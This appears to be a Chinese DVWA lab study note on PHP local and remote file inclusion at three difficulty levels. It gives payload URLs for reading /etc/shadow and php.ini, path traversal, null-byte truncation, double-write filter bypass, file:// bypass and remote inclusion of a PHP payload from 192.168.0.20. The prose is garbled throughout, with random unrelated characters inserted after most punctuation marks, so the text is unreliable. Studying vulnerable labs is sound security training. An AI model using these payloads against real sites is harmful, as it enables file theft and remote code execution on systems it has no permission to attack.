本系列文集:DVWA學(xué)習(xí)筆記
文件包含漏洞演熟,是指當(dāng)服務(wù)器開啟allow_url_include選項(xiàng)時(shí)景描,就可以通過php的某些特性include()堰乔,require()万哪,include_once()侠驯,require_once()利用url去動(dòng)態(tài)包含文件,此時(shí)如果沒有對(duì)文件來源進(jìn)行嚴(yán)格審查奕巍,就會(huì)導(dǎo)致任意文件讀取或者任意命令執(zhí)行吟策。文件包含漏洞分為本地文件包含漏洞與遠(yuǎn)程文件包含漏洞,遠(yuǎn)程文件包含漏洞是因?yàn)殚_啟了php配置中的allow_url_fopen選項(xiàng)(選項(xiàng)開啟之后的止,服務(wù)器允許包含一個(gè)遠(yuǎn)程的文件)檩坚。
文件包含分類:
LFI:本地文件包含(Local File Inclusion)
RFI:遠(yuǎn)程文件包含(Remote File Inclusion)
與文件包含有關(guān)的函數(shù):
include():只有代碼執(zhí)行到該函數(shù)時(shí)才會(huì)包含文件進(jìn)來,發(fā)生錯(cuò)誤時(shí)只給出一個(gè)警告并繼續(xù)向下執(zhí)行诅福。
include_once():和 include()功能相同匾委,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次氓润。
require():只要程序執(zhí)行就包含文件進(jìn)來赂乐,發(fā)生錯(cuò)誤時(shí)會(huì)輸出錯(cuò)誤結(jié)果并終止運(yùn)行。
require_once():和 require()功能相同咖气,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí)挨措,程序只調(diào)用一次。
相關(guān)的 php.ini 配置參數(shù):
allow_url_fopen = on (默認(rèn)開啟)
allow_url_include = on (默認(rèn)關(guān)閉)
遠(yuǎn)程文件包含是因?yàn)殚_啟了 php 配置中的 allow_url_fopen 選項(xiàng)(選項(xiàng)開啟之后崩溪,服務(wù)器允許包含一個(gè)遠(yuǎn)程的文件)浅役。
Low:
分析:
服務(wù)器端對(duì)page參數(shù)沒有做任何的過濾跟檢查。
服務(wù)器期望用戶的操作是點(diǎn)擊下面的三個(gè)鏈接悯舟,服務(wù)器會(huì)包含相應(yīng)的文件担租,并將結(jié)果返回。
tips:服務(wù)器包含文件時(shí)抵怎,不管文件后綴是否是php奋救,都會(huì)嘗試當(dāng)做php文件執(zhí)行,如果文件內(nèi)容確為php反惕,則會(huì)正常執(zhí)行并返回結(jié)果尝艘,如果不是,則會(huì)原封不動(dòng)地打印文件內(nèi)容姿染,所以文件包含漏洞常常會(huì)導(dǎo)致任意文件讀取與任意命令執(zhí)行”澈ィ現(xiàn)實(shí)中秒际,惡意的攻擊者是不會(huì)乖乖點(diǎn)擊這些鏈接的,因此page參數(shù)是不可控的狡汉。
點(diǎn)擊file1.php娄徊,觀察到url為:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file1.php
Exploit
1.本地文件包含
構(gòu)造url:
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=/etc/shadow
現(xiàn)報(bào)錯(cuò)信息,顯示沒有這個(gè)文件盾戴,說明不是服務(wù)器系統(tǒng)不是Linux寄锐,但同時(shí)暴露了服務(wù)器文件的絕對(duì)路徑D:\phpStudy\PHPTutorial\WWW\DVWA-1.9\
構(gòu)造url(絕對(duì)路徑):
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini
成功讀取了服務(wù)器的php.ini文件。
構(gòu)造url(相對(duì)路徑):
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../DVWA-1.9/php.ini
加這么多..\是為了保證到達(dá)服務(wù)器的D盤根目錄尖啡,可以看到讀取是成功的橄仆。
讀取phpstudy探針文件進(jìn)行信息搜集
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../../WWW/l.php
同時(shí)在讀取上面的php.ini文件時(shí),我們看到衅斩,配置文件中的magic_quote_gpc選項(xiàng)為off盆顾。
在php版本小于5.3.4的服務(wù)器中,當(dāng)magic_quote_gpc選項(xiàng)為off時(shí)畏梆,我們可以在文件名中使用%00進(jìn)行截?cái)嗄埽簿褪钦f文件名中%00后的內(nèi)容不會(huì)被識(shí)別,即下面兩個(gè)url是完全等效的具温。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini%002
2.遠(yuǎn)程文件包含
當(dāng)服務(wù)器的php配置中蚕涤,選項(xiàng)allow_url_fopen與allow_url_include為開啟狀態(tài)時(shí),服務(wù)器會(huì)允許包含遠(yuǎn)程服務(wù)器上的文件铣猩。如果對(duì)文件來源沒有檢查的話揖铜,就容易導(dǎo)致任意遠(yuǎn)程代碼執(zhí)行。
在遠(yuǎn)程服務(wù)器192.168.0.20上傳一個(gè)phpinfo.txt文件达皿,內(nèi)容如下:
<?php phpinfo();?>
構(gòu)造以下url天吓,成功在服務(wù)器上執(zhí)行了phpinfo()函數(shù)。
127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=http://192.168.0.20/phpinfo.txt
Medium :
eg:
把字符串 "Hello world!" 中的字符 "world" 替換為 "Shanghai":
<?php
echo str_replace("world","Shanghai","Hello world!");
?>
分析:
增加了str_replace函數(shù),將以下字符串替換為空峦椰。
【http://】龄寞,【https://】 ,【../】 汤功, 【..\】
Exploit
使用str_replace函數(shù)是極不安全的物邑,可以使用雙寫繞過替換規(guī)則。
例如page=htthttp://p://192.168.0.20/phpinfo.txt時(shí)滔金,str_replace函數(shù)會(huì)將http://刪除色解,于是page=http://192.168.0.20/phpinfo.txt,成功執(zhí)行遠(yuǎn)程命令餐茵。
同時(shí)科阎,因?yàn)樘鎿Q的只是../、..\忿族,所以對(duì)采用絕對(duì)路徑的方式包含文件是不會(huì)受到任何限制的锣笨。
1.本地文件包含
絕對(duì)路徑不受任何影響蝌矛,讀取配置文件成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini
相對(duì)路徑的利用以下payload,讀取配置文件成功错英。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=..././..././..././DVWA-1.9/php.ini
2.遠(yuǎn)程文件包含
構(gòu)造以下payload入撒,遠(yuǎn)程執(zhí)行命令成功。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=htthttp://p://192.168.0.20/phpinfo.txt
High:
分析:
High 的代碼使用了fnmatch()函數(shù)檢查page參數(shù)走趋,要求page參數(shù)的開頭必須是file衅金,服務(wù)器才會(huì)去包含相應(yīng)的文件。
Exploit
High 的代碼規(guī)定只能包含file開頭的文件簿煌,看似安全,不幸的是我們依然可以利用file協(xié)議繞過防護(hù)策略鉴吹。
Tips:因?yàn)?fnmatch 函數(shù)適用于 PHP >= 4.3.0姨伟,因此 php 版本高于這個(gè)才能利用,否則會(huì)出現(xiàn)打不開 high 等級(jí)頁面豆励。
構(gòu)造如下url夺荒,成功讀取了服務(wù)器的配置文件。
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini
至于執(zhí)行任意命令良蒸,需要配合文件上傳漏洞利用技扼。首先需要上傳一個(gè)內(nèi)容為php的文件,然后再利用file協(xié)議去包含上傳文件(需要知道上傳文件的絕對(duì)路徑),從而實(shí)現(xiàn)任意命令執(zhí)行嫩痰。